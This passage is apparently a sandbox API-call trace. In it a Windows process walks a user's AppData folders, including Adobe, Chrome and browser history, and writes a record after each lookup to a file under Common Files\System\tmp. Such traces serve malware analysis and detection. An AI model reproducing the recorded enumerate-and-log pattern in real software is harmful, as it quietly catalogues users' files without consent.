lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.424] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.424] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0xfd, lpOverlapped=0x0) returned 1 [0126.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.424] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.424] GetLastError () returned 0x12 [0126.424] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.424] GetLastError () returned 0x12 [0126.425] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.425] GetLastError () returned 0x12 [0126.425] AreFileApisANSI () returned 1 [0126.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.425] GetFileType (hFile=0x18c) returned 0x1 [0126.425] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.425] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.425] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xf9, lpOverlapped=0x0) returned 1 [0126.425] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.425] AreFileApisANSI () returned 1 [0126.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.426] GetFileType (hFile=0x190) returned 0x1 [0126.426] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.426] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.426] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xff, lpOverlapped=0x0) returned 1 [0126.426] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.426] AreFileApisANSI () returned 1 [0126.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.426] GetFileType (hFile=0x194) returned 0x1 [0126.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.427] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x107, lpOverlapped=0x0) returned 1 [0126.427] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x32ec, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.475] AreFileApisANSI () returned 1 [0126.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.476] GetFileType (hFile=0x194) returned 0x1 [0126.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.476] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x105, lpOverlapped=0x0) returned 1 [0126.476] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x33f3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.476] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.476] GetLastError () returned 0x12 [0126.476] AreFileApisANSI () returned 1 [0126.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.477] GetFileType (hFile=0x190) returned 0x1 [0126.477] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.477] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.477] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x10a, lpOverlapped=0x0) returned 1 [0126.477] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x4000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x34f8, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.477] AreFileApisANSI () returned 1 [0126.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.477] GetFileType (hFile=0x190) returned 0x1 [0126.477] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.477] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.477] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xfe, lpOverlapped=0x0) returned 1 [0126.478] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x418, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.478] AreFileApisANSI () returned 1 [0126.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.478] GetFileType (hFile=0x194) returned 0x1 [0126.478] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.478] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.478] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x102, lpOverlapped=0x0) returned 1 [0126.479] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.479] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.479] GetLastError () returned 0x12 [0126.479] AreFileApisANSI () returned 1 [0126.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.479] GetFileType (hFile=0x190) returned 0x1 [0126.479] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.479] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.479] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x104, lpOverlapped=0x0) returned 1 [0126.479] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x4000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x3802, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.479] AreFileApisANSI () returned 1 [0126.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.480] GetFileType (hFile=0x190) returned 0x1 [0126.480] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.480] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.480] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x100, lpOverlapped=0x0) returned 1 [0126.480] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x418, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.480] AreFileApisANSI () returned 1 [0126.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.480] GetFileType (hFile=0x194) returned 0x1 [0126.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.481] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x107, lpOverlapped=0x0) returned 1 [0126.481] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x3a06, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.481] AreFileApisANSI () returned 1 [0126.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.481] GetFileType (hFile=0x194) returned 0x1 [0126.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.481] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x10d, lpOverlapped=0x0) returned 1 [0126.481] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.481] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.482] GetLastError () returned 0x12 [0126.482] AreFileApisANSI () returned 1 [0126.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.482] GetFileType (hFile=0x190) returned 0x1 [0126.482] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.482] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.482] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x101, lpOverlapped=0x0) returned 1 [0126.482] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x418, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.483] AreFileApisANSI () returned 1 [0126.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.483] GetFileType (hFile=0x194) returned 0x1 [0126.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.483] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x10d, lpOverlapped=0x0) returned 1 [0126.483] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x3d1b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff 